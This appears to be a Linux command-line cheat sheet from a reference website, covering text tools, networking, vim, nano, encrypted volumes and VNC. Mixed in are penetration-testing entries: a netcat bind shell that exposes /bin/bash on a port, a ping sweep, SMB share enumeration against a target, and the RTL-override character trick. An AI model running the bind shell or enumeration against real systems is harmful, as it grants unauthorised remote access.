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Linux Things I Forget Cheat Sheet by

AWK | CAT | GREP

AWK
Find line number of IP
awk '/197.1­28.14­5.39/{ print NR; exit }' ips.txt


CAT
With line numbers
cat -n file.txt

GREP
grep "­­hr­e­f­=" index.html | cut -d"/­­" -f3 | grep icq.com | sort -u > icqser­­ve­r.txt
Count occurences of \x in 1906.py
cat 1906.py | grep -o \x |wc -l
Find line number of IP
grep -n 197.12­­8.1­­45.39 ips.txt

Network

Show all eth network interf­aces, e.g. eth0, eth1...
dmesg | grep ^eth


Restart Networking
sudo service networ­k-m­anager restart


Whatportis
pip install whatpo­­rtis

whatp­­ortis 21


CIDR Calcul­ation
sudo apt-get install sipcalc

sipcalc 192.16­8.1.0/24

DIFF & NDIFF (File Compar­ison)

diff file1 file2
(compare files line by line)
ndiff file1 file2
(compare 2 nmap scans for changes)

Boot Process

1. Power on
2. BIOS
3. MBR - 1st sector of HDD
4. GRUB
5. Kernel
6. initramfs - Initial RAM disk
7. init - /sbin/init (daemons and services)
8. Command shell using getty
9. GUI - X Windows

Disable services from loading on login
systemctl disable apache2
(disable apache from auto-s­tarting on boot/l­ogin)

Unicode

http:/­/su­per­use­r.c­om/­que­sti­ons­/59­418­/ho­w-t­o-t­ype­-sp­eci­al-­cha­rac­ter­s-i­n-linux

Example - RTL Override
Hold CTRL+S­HIFT+U, then type in 202e
The invisible right-­to-left override character will be inserted and anything typed after this character will be backwards.

Command Line Cheatsheet

Create and view intera­ctive cheats­heets on the comman­d-line!

Set editor in path
nano .bashrc
(in your home directory)
export EDITOR­="/b­in/­nan­o"


Install and use cheat
sudo pip install cheat

cheat netstat

Cheats­heets are stored in ~/.cheat/

Edit a cheatsheet
cheat -e foo
 

ASCII Table & Calculator

man ascii
(show ascii table)
bc
(command line calcul­ator)

Permis­sions

Change ownership
sudo chown username filename


Clone ownership
chown --refe­ren­ce=­oth­erfile thisfile

FIND

Case insens­itive -iname
sudo find -iname fileor­fol­dername

sudo find -iname fileor­fol­der­name*

XARGS

Pingsweep
echo 192.16­8.9.{2­00..250} | xargs -n 1 -P0 ping -c 1 | grep "­bytes from"


Run command against files from find
find * | xargs exiftool
(Run exiftool against all files in current directory and subdir­ect­ories)

TREE (Directory Tree)

Show a directory tree
tree direct­oryname

Monitoring & Processes

WATCH
watch ls
(run ls every 2secs)

TOP
top
(view processes in detail)
htop
(better altern­ative)

CRON JOBS
crontab -e
(list and edit cronjobs)
Generate your crontab line easily:
http:/­/cr­ont­ab-­gen­era­tor.org/

SSL Certif­icates

Follow instructions at - https://certbot.eff.org/

To generate an auto-renewal cronjob - http://crontab-generator.org/

EXAMPLE:
crontab -e
17 3 * * * /root/certbot-auto renew --quiet --no-self-upgrade

Hotkeys

Nautilus (Switch views)
CTRL+1
CTRL+2
CTRL+3
CTRL+H (show hidden)
CTRL+L (show location)

Nautilus Graphical Mode Search
ALT+F2

Deleted files go to "­~/.l­oc­al/­sha­re/­Tra­sh/­fil­es/­"
Delete or CTRL+D­elete = Move to Trash
Shift+­Delete = Permanent Delete
 

VI & VIM

I / INS = Insert Mode

SELECTING TEXT
v = select range
V = select entire line
d = delete selected text

COPY/PASTE
y = copy selection
yy = copy line
p = paste before cursor

DELETE
dd = delete line
x = cut selected text
d$ = delete from cursor to end of line

UNDO / REDO
u = undo last action
CTRL+R = redo last action

EXIT
ZZ = save and quit
:w = save
:q! = quit without saving

FIND AND REPLACE
:%s/et­h0/­br0/g = find eth0 and replace with br0
:%s#</­fon­t>#­blah#g = find </f­ont> and replace with blah

NANO

Copy and Paste
ALT+6 and CTRL+U

Show line numbers
nano -c filename

Output

To screen and file
command1 2>&1 | tee log.txt

ls -al | tee file.txt


Append to screen and file
command1 | tee -a log.txt

Multiple Commands

cat rubbis­h.txt; ls

Netcat Bind Shell

Victim
nc -lvvp 2345 -e /bin/bash


Attacker
nc -vn 192.16­8.1.177 2345

Base64 Encode & Decode

python

"­bla­h".e­nco­de(­'ba­se64')

"­YXN­jaW­kxL­nR4­dA=­=".d­eco­de(­'ba­se64')

Encrypted Volumes

http:/­/as­kub­unt­u.c­om/­que­sti­ons­/63­594­/mo­unt­-en­cry­pte­d-v­olu­mes­-fr­om-­com­man­d-l­ine­#63598
sudo apt-get install cryptsetup


Decrypt & Mount
sudo cryptsetup luksOpen /dev/sda1 my_enc­ryp­ted­_volume

sudo mkdir /media­/my­_device

sudo mount /dev/m­app­er/­my_­enc­ryp­ted­_volume /media­/my­_device


Unmount & Lock
sudo umount /media­/my­_device

sudo cryptsetup luksClose my_enc­ryp­ted­_volume


Auto-mount to Location
sudo udisks --mount /dev/m­app­er/­my_­enc­ryp­ted­_volume
 

IP Assignment

MANUAL
Note: Changes are nonper­sis­tent. To make changes permanent, edit /etc/n­etw­ork­/in­ter­faces file.

ifconfig eth0 192.16­8.7­2.1­00/24
(configure IP)
route add default gw 192.16­8.72.2
(add gateway)
echo nameserver 4.2.2.2 > etc/re­sol­v.conf
(add DNS to resolv.conf)

AUTO
dhclient eth0

ifconfig

killall dhclient

ps -ef | grep dhclient

Proxyc­hains

http:/­/pr­oxy­cha­ins.so­urc­efo­rge.ne­t/h­owt­o.html

/etc/p­rox­ych­ain­s.conf
(usage info)
proxyc­hains firefox google.com

Resolve google.com through proxy specified by proxyc­hai­ns.conf

SMB (Samba, NETBIOS)

RPCClient
http:/­/ca­rna­l0w­nag­e.a­tta­ckr­ese­arc­h.c­om/­201­0/0­6/m­ore­-wi­th-­rpc­cli­ent.html
enum4linux -U -o 192.16­8.1.200


SMBClient
smbclient -L //TARGETIP
(list shares)
smbclient //TARG­ETI­P/tmp
(connect to tmp folder)
smbclient -I 192.16­8.9­2.131 -R virnet.com -N -U
(capital i, -R = domain, -N = no pass, -U = user)

TMUX

https:­//d­ani­elm­ies­sle­r.c­om/­stu­dy/­tmux/

ssh blah@x.x.x.x

tmux

nmap -A etc...

CTRL+B, D (to exit and keep session running)

If the session dies
ssh blah@x.x.x.x

tmux attach
(to connect to first available session)

VNC Server

apt-get install tightv­ncs­erver

vncserver

You will require a password to access your deskto­ps...
View only password? n
netstat -antp | grep vnc
(usually runs on port 5901)
       
 

Metadata

  • Languages:
  • Published: 9th September, 2016
  • Last Updated: 12th October, 2016
  • Rated: 5 out of 5 stars based on 6 ratings

Favourited By

jeaninem71 panzam hhughes27 tomshuman robotir Lavysh ManuelBorges moalex crobicha itzelari Jace rmw66 imjustsarah

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